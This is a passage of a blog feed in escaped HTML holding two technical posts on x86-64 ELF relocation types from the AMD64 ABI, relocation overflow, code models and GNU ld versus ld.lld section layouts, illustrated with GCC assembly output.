        <id>https://vercel.juzhong.asia/obsidian/relocation-gcc-static-pie/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/relocation-gcc-static-pie/">&lt;h1 id=&quot;relocation-gcc-static-pie&quot;&gt;Relocation gcc -static-pie&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;relocation-types&quot;&gt;Relocation Types&lt;&#x2F;h2&gt;
&lt;p&gt;The AMD64 ABI adds one additional field:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Figure:&lt;&#x2F;strong&gt; Relocatable Fields|&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-pie&#x2F;amd64-relocation-types.png&quot; alt=&quot;\begin{figure}\noindent\rule{\linewidth}{0.3mm}&quot; &#x2F;&gt;|
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;word8&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;This specifies a 8-bit field occupying 1 byte.&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;word16&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;This specifies a 16-bit field occupying 2 bytes with arbitrary byte alignment.  These values use the same byte order as other word values in the AMD64 architecture.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;word32&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;This specifies a 32-bit field occupying 4 bytes with arbitrary byte alignment.  These values use the same byte order as other word values in the AMD64 architecture.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;word64&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;This specifies a 64-bit field occupying 8 bytes with arbitrary byte alignment.  These values use the same byte order as other word values in the AMD64 architecture.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;The following notations are used for specifying relocations in table![&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;relocation-gcc-static-pie&#x2F;assets&#x2F;crossref-20240909214511-xu2myaf.png&quot;&gt;*]&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ucw.cz&#x2F;~hubicka&#x2F;papers&#x2F;abi&#x2F;node19.html#tab-relocations&quot;&gt;https:&#x2F;&#x2F;www.ucw.cz&#x2F;~hubicka&#x2F;papers&#x2F;abi&#x2F;node19.html#tab-relocations&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;A&lt;&#x2F;strong&gt;Represents the addend used to compute the value of the relocatable field.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;B&lt;&#x2F;strong&gt;Represents the base address at which a shared object has been loaded into memory during execution.  Generally, a shared object is built with a 0 base virtual address, but the execution address will be different.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;G&lt;&#x2F;strong&gt;Represents the offset into the global offset table at which  the relocation entry&#x27;s symbol will reside during execution.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;GOT&lt;&#x2F;strong&gt;Represents the address of the global offset table.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;L&lt;&#x2F;strong&gt;Represents the place (section offset or address) of the Procedure Linkage Table entry for a symbol.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;P&lt;&#x2F;strong&gt;Represents the place (section offset or address) of the storage unit being relocated (computed using r_offset).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;S&lt;&#x2F;strong&gt;Represents the value of the symbol whose index resides in the relocation entry.&lt;&#x2F;p&gt;
&lt;p&gt;The AMD64 ABI architectures uses only Elf64_Rela relocation entries with explicit addends.  The r_addend member serves as the relocation addend.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Table:&lt;&#x2F;strong&gt; Relocation Types|Name|Value|Field|Calculation|
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-pie&#x2F;x86-64-relocation-types.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The special semantics for most of these relocation types are identical to those used for the Intel386 ABI.  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ucw.cz&#x2F;~hubicka&#x2F;papers&#x2F;abi&#x2F;node19.html#foot2606&quot;&gt;^4.2^&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ucw.cz&#x2F;~hubicka&#x2F;papers&#x2F;abi&#x2F;node19.html#foot2641&quot;&gt;^4.3^&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The R_X86_64_GOTPCREL relocation has different semantics from the i386 R_I386_GOTPC relocation.  In particular, because the AMD64 architecture has an addressing mode relative to the instruction pointer, it is possible to load an address from the GOT using a single instruction.  The calculation done by the R_X86_64_GOTPCRELrelocation gives the difference between the location in the GOT where the symbol&#x27;s address is given and the location where the relocation is applied.&lt;&#x2F;p&gt;
&lt;p&gt;The R_X86_64_32 and R_X86_64_32S relocations truncate the computed value to 32-bits.  The linker must verify that the generated value for the R_X86_64_32 (R_X86_64_32S) relocation zero-extends (sign-extends) to the original 64-bit value.&lt;&#x2F;p&gt;
&lt;p&gt;A program or object file using R_X86_64_8,R_X86_64_16, R_X86_64_PC16 or R_X86_64_PC8relocations is not conformant to this ABI, these relocations are only added for documentation purposes.  The R_X86_64_16, andR_X86_64_8 relocations truncate the computed value to 16-bits resp. 8-bits.&lt;&#x2F;p&gt;
&lt;p&gt;The relocations R_X86_64_DPTMOD64,R_X86_64_DTPOFF64, R_X86_64_TPOFF64 ,R_X86_64_TLSGD , R_X86_64_TLSLD ,R_X86_64_DTPOFF32, R_X86_64_GOTTPOFF andR_X86_64_TPOFF32 are listed for completeness.  They are part of the Thread-Local Storage ABI extensions and are documented in the document called ``ELF Handling for Thread-Local Storage&#x27;&#x27;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ucw.cz&#x2F;~hubicka&#x2F;papers&#x2F;abi&#x2F;node19.html#foot2642&quot;&gt;^4.4^&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;footnotes&quot;&gt;Footnotes&lt;&#x2F;h4&gt;
&lt;p&gt;Even though the AMD64 architecture supports IP-relative addressing modes, a GOT is still required since the offset from a particular instruction to a particular data item cannot be known by the static linker.&lt;&#x2F;p&gt;
&lt;p&gt;Note that the AMD64 architecture assumes that offsets into GOT are 32-bit values, not 64-bit values.  This choice means that a maximum of 2^32^&#x2F;8 = 2^29^ entries can be placed in the GOT. However, that should be more than enough for most programs.  In the event that it is not enough, the linker could create multiple GOTs. Because 32-bit offsets are used, loads of global data do not require loading the offset into a displacement register; the base plus immediate displacement addressing form can be used.&lt;&#x2F;p&gt;
&lt;p&gt;This document is currently available via&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;people.redhat.com&#x2F;drepper&#x2F;tls.pdf&quot;&gt;http:&#x2F;&#x2F;people.redhat.com&#x2F;drepper&#x2F;tls.pdf&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Relocation overflow and code models</title>
        <published>2024-09-09T00:00:00+00:00</published>
        <updated>2024-09-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/relocation-overflow-and-code-models/"/>
        <id>https://vercel.juzhong.asia/obsidian/relocation-overflow-and-code-models/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/relocation-overflow-and-code-models/">&lt;h1 id=&quot;relocation-overflow-and-code-models&quot;&gt;Relocation overflow and code models&lt;&#x2F;h1&gt;
&lt;p&gt;When linking an oversized executable, it is possible to encounter errors such as&lt;code&gt;relocation truncated to fit: R_X86_64_PC32 against `.text&#x27;&lt;&#x2F;code&gt;(GNU ld) or &lt;code&gt;relocation R_X86_64_PC32 out of range&lt;&#x2F;code&gt; (ld.lld). These diagnostics are a result of the relocation overflow check, a feature in the linker.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;% gcc -fuse-ld=bfd @response.txt
...
a.o: in function `_start&amp;#x27;:
(.text+0x0): relocation truncated to fit: R_X86_64_PC32 against `.text&amp;#x27;
% gcc -fuse-ld=lld @response.txt
ld.lld: error: a.o:(.text+0x0): relocation R_X86_64_PC32 out of range: -2147483649 is not in [-2147483648, 2147483647]; references section &amp;#x27;.text&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This article aims to explain why such issues can occur and provides insights on how to mitigate them.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;static-linking&quot;&gt;Static linking&lt;&#x2F;h2&gt;
&lt;p&gt;In this section, we will deviate slightly from the main topic to discuss static linking. By including all dependencies within the executable itself, it can run without relying on external shared objects. This eliminates the potential risks associated with updating dependencies separately.&lt;&#x2F;p&gt;
&lt;p&gt;Certain users prefer static linking or mostly static linking for the sake of deployment convenience and performance aspects:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Link-time optimization is more effective when all dependencies are known. Providing shared object information during executable optimization is possible, but it may not be a worthwhile engineering effort.&lt;&#x2F;li&gt;
&lt;li&gt;Profiling techniques are more efficient dealing with one single executable.&lt;&#x2F;li&gt;
&lt;li&gt;The traditional ELF dynamic linking approach incurs overhead to support &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maskray.me&#x2F;blog&#x2F;2021-05-16-elf-interposition-and-bsymbolic&quot;&gt;symbol interposition&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Dynamic linking involves PLT and GOT, which can introduce additional overhead. Static linking eliminates the overhead.&lt;&#x2F;li&gt;
&lt;li&gt;Loading libraries in the dynamic loader has a time complexity&lt;code&gt;O(|libs|^2*|libname|)&lt;&#x2F;code&gt;. The existing implementations are designed to handle tens of shared objects, rather than a thousand or more.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Furthermore, the current lack of techniques to partition an executable into a few larger shared objects, as opposed to numerous smaller shared objects, exacerbates the overhead issue.&lt;&#x2F;p&gt;
&lt;p&gt;In scenarios where the distributed program contains a significant amount of code (related: software bloat), employing full or mostly static linking can result in very large executable files. Consequently, certain relocations may be close to the distance limit, and even a minor disruption (e.g. add a function or introduce a dependency) can trigger relocation overflow linker errors.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;relocation-overflow&quot;&gt;Relocation overflow&lt;&#x2F;h2&gt;
&lt;p&gt;We will use the following C program to illustrate the concepts.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int var0;
extern int var1;
int callee();
int caller() { return callee() + var0 + var1; }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The generated x86-64 assembly may appear as follows, with comments indicating the relocation types associated with each instruction:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gcc -S -O1 -fpie -mno-direct-extern-access -masm=intel a.c
.globl caller
caller:
  call callee@PLT                          # R_X86_64_PLT32
  add  eax, DWORD PTR [rip + var0]         # R_X86_64_PC32; load from &amp;amp;var0
  mov  rdx, QWORD PTR var1@GOTPCREL[rip]   # R_X86_64_REX_GOTPCRELX; rdx = .got[n] = &amp;amp;var1
  add  eax, DWORD PTR [rdx]                # load from &amp;amp;var1

.bss
.globl var0
var0: .long 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You see that I specify &lt;code&gt;-mno-direct-extern-access&lt;&#x2F;code&gt; for some assembly output. The option is to prefer GOT-generating code sequences for possibly-preemptible data symbols. See&lt;code&gt;-fdirect-access-external-data&lt;&#x2F;code&gt; on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maskray.me&#x2F;blog&#x2F;2021-01-09-copy-relocations-canonical-plt-entries-and-protected&quot;&gt;Copy relocations, canonical PLT entries and protected visibility&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;All of &lt;code&gt;R_X86_64_PLT32&lt;&#x2F;code&gt;, &lt;code&gt;R_X86_64_PC32&lt;&#x2F;code&gt;,&lt;code&gt;R_X86_64_REX_GOTPCRELX&lt;&#x2F;code&gt;, and&lt;code&gt;R_X86_64_CODE_4_GOTPCRELX&lt;&#x2F;code&gt; have a value range of&lt;code&gt;[-2**31,2**31)&lt;&#x2F;code&gt;. If the referenced symbol is too far away from the relocated location, we may get a relocation overflow.&lt;&#x2F;p&gt;
&lt;p&gt;In practice, relocation overflows due to code referencing code are not common. The more frequent occurrences of overflows involve the following categories (where we use &lt;code&gt;.text&lt;&#x2F;code&gt; to represent code sections, &lt;code&gt;.rodata&lt;&#x2F;code&gt; for read-only data, and so on):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.text &amp;lt;-&amp;gt; .rodata&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.text &amp;lt;-&amp;gt; .eh_frame&lt;&#x2F;code&gt;: &lt;code&gt;.eh_frame&lt;&#x2F;code&gt; has 32-bit offsets. 64-bit code offsets are possible, but I don&#x27;t know if an implementation exists.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.text &amp;lt;-&amp;gt; .data&#x2F;.bss&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.rodata &amp;lt;-&amp;gt; .data&#x2F;.bss&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;In many programs, &lt;code&gt;.text &amp;lt;-&amp;gt; .data&#x2F;.bss&lt;&#x2F;code&gt; relocations have the most stringent constraints. Overflows due to&lt;code&gt;.text &amp;lt;-&amp;gt; .rodata&lt;&#x2F;code&gt; relocations are possible but rare (although I have encountered such issues in the past).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.rodata &amp;lt;-&amp;gt; .data&#x2F;.bss&lt;&#x2F;code&gt; overflows are generally infrequent. However, caution must be exercised when working with metadata &lt;code&gt;.quad label-.&lt;&#x2F;code&gt; instead of&lt;code&gt;.long label-.&lt;&#x2F;code&gt;. Such issues can be easily addressed on the compiler side.&lt;&#x2F;p&gt;
&lt;p&gt;On x86-64, linkers optimize some GOT-indirect instructions (&lt;code&gt;R_X86_64_REX_GOTPCRELX&lt;&#x2F;code&gt;; e.g.&lt;code&gt;movq var@GOTPCREL(%rip), %rax&lt;&#x2F;code&gt;) to PC-relative instructions. The distance between a code section and &lt;code&gt;.got&lt;&#x2F;code&gt; is usually smaller than the distance between a code section and&lt;code&gt;.data&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;.bss&lt;&#x2F;code&gt;. ld.lld&#x27;s one-pass relocation scanning scheme has a limitation: if it decides to suppress a GOT entry and it turns out that optimizing the instruction will lead to relocation overflow, the decision cannot be reverted. It should be easy to work around the issue with &lt;code&gt;-Wl,--no-relax&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The current section layout of ld.lld is as follows:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.rodata
.text
.plt
.data.rel.ro
.got
.data
.bss
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One notable distinction from GNU ld is that &lt;code&gt;.rodata&lt;&#x2F;code&gt;precedes &lt;code&gt;.text&lt;&#x2F;code&gt;. This ordering decreases the distance between &lt;code&gt;.text&lt;&#x2F;code&gt; and &lt;code&gt;.data&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;.bss&lt;&#x2F;code&gt;, thereby alleviating relocation overflow pressure for references from&lt;code&gt;.text&lt;&#x2F;code&gt; to &lt;code&gt;.data&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;.bss&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;For handling &lt;code&gt;.eh_frame&lt;&#x2F;code&gt;, I suggest compiling with the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maskray.me&#x2F;blog&#x2F;2020-11-08-stack-unwinding&quot;&gt;&lt;code&gt;-fno-asynchronous-unwind-tables&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;option. &lt;code&gt;.eh_frame&lt;&#x2F;code&gt; is used by runtime support for C++ exceptions. Many programs don&#x27;t utilitize exceptions, making&lt;code&gt;.eh_frame&lt;&#x2F;code&gt; non-mandatory. For profiling purposes, the limitations of the &lt;code&gt;.eh_frame&lt;&#x2F;code&gt; format have become apparent, and it is not the most suitable unwinding format.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;x86-64-code-models&quot;&gt;x86-64 code models&lt;&#x2F;h2&gt;
&lt;p&gt;The x86-64 psABI defines multiple code models. Here is a summary:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Small: symbols are required to be located within the range&lt;code&gt;[0, 2**31 - 2**24)&lt;&#x2F;code&gt;. Use 32-bit PC-relative or absolute addressing&lt;&#x2F;li&gt;
&lt;li&gt;Kernel: similar to the small code model, but symbols are within the high end range&lt;&#x2F;li&gt;
&lt;li&gt;Medium: keep using 32-bit offsets for code and GOT, but split data sections into 2 parts: regular and large. Large data can be more than 2GiB away&lt;&#x2F;li&gt;
&lt;li&gt;Large: all of code, GOT, and data can be more than 2GiB away&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;x86-64-medium-code-model&quot;&gt;x86-64 medium code model&lt;&#x2F;h3&gt;
&lt;p&gt;The medium code model maintains the assumption that code and the GOT is within the ±2GiB range from the program counter, while allowing data to be located outside of that range. Data that resides outside the range is placed in large data sections such as &lt;code&gt;.lrodata&lt;&#x2F;code&gt;,&lt;code&gt;.ldata&lt;&#x2F;code&gt;, and &lt;code&gt;.lbss&lt;&#x2F;code&gt;, as well as&lt;code&gt;.ldata&lt;&#x2F;code&gt;&#x27;s variants like &lt;code&gt;.ldata.rel&lt;&#x2F;code&gt;,&lt;code&gt;.ldata.rel.local&lt;&#x2F;code&gt;, &lt;code&gt;.ldata.rel.ro&lt;&#x2F;code&gt;, and&lt;code&gt;.ldata.rel.ro.local&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;These sections may have the &lt;code&gt;SHF_X86_64_LARGE&lt;&#x2F;code&gt; flag.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-mlarge-data-threshold=&lt;&#x2F;code&gt; decides whether a data section should be treated as large.&lt;&#x2F;p&gt;
&lt;p&gt;Accessing code and GOT-indirect data has the same code sequence as the small code model.&lt;&#x2F;p&gt;
&lt;p&gt;To access data without GOT indirection (usually a known non-preemptible symbol, e.g. &lt;code&gt;var0&lt;&#x2F;code&gt;), GCC obtains the address of the GOT base symbol &lt;code&gt;_GLOBAL_OFFSET_TABLE_&lt;&#x2F;code&gt;, then adds the offset from &lt;code&gt;_GLOBAL_OFFSET_TABLE_&lt;&#x2F;code&gt; to the symbol.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gcc -S -O1 -fpie -mcmodel=medium -mlarge-data-threshold=3 -masm=intel a.c
call    callee@PLT                        # R_X86_64_PLT32
lea     rdx, _GLOBAL_OFFSET_TABLE_[rip]   # rdx = &amp;amp;_GLOBAL_OFFSET_TABLE_
movabs  rcx, OFFSET FLAT:var0@GOTOFF      # R_X86_64_GOTOFF64; rcx = &amp;amp;var0 - &amp;amp;_GLOBAL_OFFSET_TABLE_
add     eax, DWORD PTR [rcx+rdx]          # load from &amp;amp;var0
mov     rdx, QWORD PTR var1@GOTPCREL[rip] # R_X86_64_REX_GOTPCRELX; rdx = .got[n] = &amp;amp;var1
add     eax, DWORD PTR [rdx]              # load from &amp;amp;var1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The relocation type &lt;code&gt;R_X86_64_GOTOFF64&lt;&#x2F;code&gt;, and another type that we will see below, &lt;code&gt;R_X86_64_PLTOFF64&lt;&#x2F;code&gt;, have confusing names. If you haven&#x27;t encountered these relocation types before, don&#x27;t think too hard how they are related to the &quot;GOT&quot; concept.&lt;&#x2F;p&gt;
&lt;p&gt;For position-dependent code, accessing data without GOT indirection is simplified as we can just use abolute addressing.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gcc -S -O1 -fno-pic -mcmodel=medium -mno-direct-extern-access -mlarge-data-threshold=3 -masm=intel a.c
call    callee                            # R_X86_64_PLT32
mov     edx, eax
movabs  eax, DWORD PTR [var0]             # R_X86_64_64; load from &amp;amp;var0
add     eax, edx
mov     rdx, QWORD PTR var1@GOTPCREL[rip] # R_X86_64_REX_GOTPCRELX; rdx = .got[n] = &amp;amp;var1
add     eax, DWORD PTR [rdx]              # load from &amp;amp;var1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that we use &lt;code&gt;-mno-direct-extern-access&lt;&#x2F;code&gt; in the above snippet, otherwise GCC&#x27;s x86-64 port doesn&#x27;t use GOT indirection for&lt;code&gt;var1&lt;&#x2F;code&gt;. This will lead to a copy relocation if&lt;code&gt;var1&lt;&#x2F;code&gt; is defined in a shared object.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;x86-64-large-code-model&quot;&gt;x86-64 large code model&lt;&#x2F;h3&gt;
&lt;p&gt;In the large code model, we no longer assume that GOT is within the ±2GiB range from the program counter, so&lt;code&gt;lea rdx, _GLOBAL_OFFSET_TABLE_[rip]&lt;&#x2F;code&gt; cannot be used. An extra &lt;code&gt;movabs&lt;&#x2F;code&gt; instruction is needed to obtain the address of&lt;code&gt;_GLOBAL_OFFSET_TABLE_&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Similarly, for a function call, we no longer assume that the address of the function or its PLT entry is within the ±2GiB range from the program counter, so &lt;code&gt;call callee&lt;&#x2F;code&gt; cannot be used.&lt;&#x2F;p&gt;
&lt;p&gt;Actually, &lt;code&gt;call callee&lt;&#x2F;code&gt; can still be used if we implement range extension thunks in the linker, unfortunately GCC&#x2F;GNU ld did not pursue this direction.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gcc -S -O1 -fpie -mcmodel=large -masm=intel
.L2:
lea     r15, .L2[rip]                     # r15 = &amp;amp;.L2
movabs  r11, OFFSET FLAT:_GLOBAL_OFFSET_TABLE_-.L2  # R_X86_64_GOTPC64; r11 = &amp;amp;_GLOBAL_OFFSET_TABLE_ - &amp;amp;.L2
add     r15, r11                          # r15 = &amp;amp;_GLOBAL_OFFSET_TABLE_
mov     eax, 0
movabs  rdx, OFFSET FLAT:callee@PLTOFF    # R_X86_64_PLTOFF64; rdx = (the address of callee or its PLT) - &amp;amp;_GLOBAL_OFFSET_TABLE_
add     rdx, r15                          # rdx = the address of callee or its PLT
call    rdx                               # indirectly call callee
movabs  rdx, OFFSET FLAT:var0@GOTOFF      # R_X86_64_GOTOFF64; rdx = &amp;amp;var0 - &amp;amp;_GLOBAL_OFFSET_TABLE_
add     eax, DWORD PTR [rdx+r15]          # load from &amp;amp;var0
movabs  rdx, OFFSET FLAT:var1@GOT         # R_X86_64_GOT64; rdx = &amp;amp;.got[n] - _GLOBAL_OFFSET_TABLE_
mov     rdx, QWORD PTR [r15+rdx]          # rdx = .got[n] = &amp;amp;var1
add     eax, DWORD PTR [rdx]              # load from &amp;amp;var1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For position-dependent code, GCC uses absolute addressing and does not rely on &lt;code&gt;_GLOBAL_OFFSET_TABLE_&lt;&#x2F;code&gt;. The code sequence for accessing data symbols is the same as that used in the position-dependent medium code model.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gcc -S -O1 -fno-pic -mcmodel=large -masm=intel a.c
movabs  rdx, OFFSET FLAT:callee           # R_X86_64_64; obstain the address of callee; canonical PLT entry if defined in a DSO
call    rdx
mov     edx, eax
movabs  eax, DWORD PTR [var0]             # R_X86_64_64; load from &amp;amp;var0
add     eax, edx
movabs  rdx, QWORD PTR [var1]             # R_X86_64_64; load from &amp;amp;var1; copy relocation if var1 is defined in a DSO
add     eax, edx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;x86-64-linker-requirement&quot;&gt;x86-64 linker requirement&lt;&#x2F;h3&gt;
&lt;p&gt;Linkers are expected to recognize these large data sections and place them in appropriate locations. GNU ld uses the following section layout in its internal linker scripts:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.text
.rodata   # if -z separate-code, MAXPAGESIZE alignment
RELRO     # DATA_SEGMENT_ALIGN
.data     # DATA_SEGMENT_RELRO_END
.bss
.lbss
.lrodata  # MAXPAGESIZE alignment
.ldata    # MAXPAGESIZE alignment
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;GNU ld places &lt;code&gt;.lbss&lt;&#x2F;code&gt;, &lt;code&gt;.lrodata&lt;&#x2F;code&gt;,&lt;code&gt;.ldata&lt;&#x2F;code&gt; after &lt;code&gt;.bss&lt;&#x2F;code&gt; and inserts 2 MAXPAGESIZE alignments for &lt;code&gt;.lrodata&lt;&#x2F;code&gt; and &lt;code&gt;.ldata&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.lbss&lt;&#x2F;code&gt; is placed immediately after &lt;code&gt;.bss&lt;&#x2F;code&gt;, creating a single BSS, i.e. a read-write &lt;code&gt;PT_LOAD&lt;&#x2F;code&gt; program header with &lt;code&gt;p_filesz&amp;lt;p_memsz&lt;&#x2F;code&gt;. The file image in the segment is smaller than the memory image. When the dynamic loader creates the memory image for the &lt;code&gt;PT_LOAD&lt;&#x2F;code&gt; segment, it will set the byte range &lt;code&gt;[p_filesz,p_memsz)&lt;&#x2F;code&gt; to zeros. However, there is a missing optimization that the &lt;code&gt;[p_filesz,p_memsz)&lt;&#x2F;code&gt;portion occupies zero bytes in the object file, preventing overlap between &lt;code&gt;.lrodata&lt;&#x2F;code&gt; and BSS in the file image.&lt;&#x2F;p&gt;
&lt;p&gt;ld.lld &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;reviews.llvm.org&#x2F;D150510&quot;&gt;from 17 onwards&lt;&#x2F;a&gt;uses the following section layout:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;.lrodata
.rodata
.text     # if --ro-segment, MAXPAGESIZE alignment
RELRO     # MAXPAGESIZE alignment
.data     # MAXPAGESIZE alignment
.bss
.ldata    # MAXPAGESIZE alignment
.lbss
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This layout saves one &lt;code&gt;PT_LOAD&lt;&#x2F;code&gt; segment than GNU ld&#x27;s. However, this layout is less ideal for &lt;code&gt;-fno-pic&lt;&#x2F;code&gt; code. Small code model &lt;code&gt;-fno-pic&lt;&#x2F;code&gt; code has &lt;code&gt;R_X86_64_32S&lt;&#x2F;code&gt;relocations with a range of &lt;code&gt;[0,2**31)&lt;&#x2F;code&gt; (if we ignore the negative area). Placing &lt;code&gt;.lrodata&lt;&#x2F;code&gt; earlier exerts relocation pressure on such code. Non-x86 64-bit architectures generally have a similar &lt;code&gt;[0,2**31)&lt;&#x2F;code&gt; limitation if they use absolute addressing. I added &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;llvm&#x2F;llvm-project&#x2F;pull&#x2F;81224&quot;&gt;&lt;code&gt;-z lrodata-after-bss&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;to switch to the GNU ld layout.&lt;&#x2F;p&gt;
&lt;p&gt;In both section layouts, &lt;code&gt;.rodata&lt;&#x2F;code&gt;, &lt;code&gt;.text&lt;&#x2F;code&gt;,&lt;code&gt;.data&lt;&#x2F;code&gt;, and &lt;code&gt;.bss&lt;&#x2F;code&gt; are not interspersed with large data sections.&lt;&#x2F;p&gt;
&lt;p&gt;We have mentioned that when using &lt;code&gt;-mcmodel=medium&lt;&#x2F;code&gt;, GCC generates both regular and large data sections. In practice, programs often include a mix of object files built with small and medium&#x2F;large code models. The small code model components may come from prebuilt object files (e.g. libc). The large data sections do not exert relocation pressure on sections in object files built with&lt;code&gt;-mcmodel=small&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
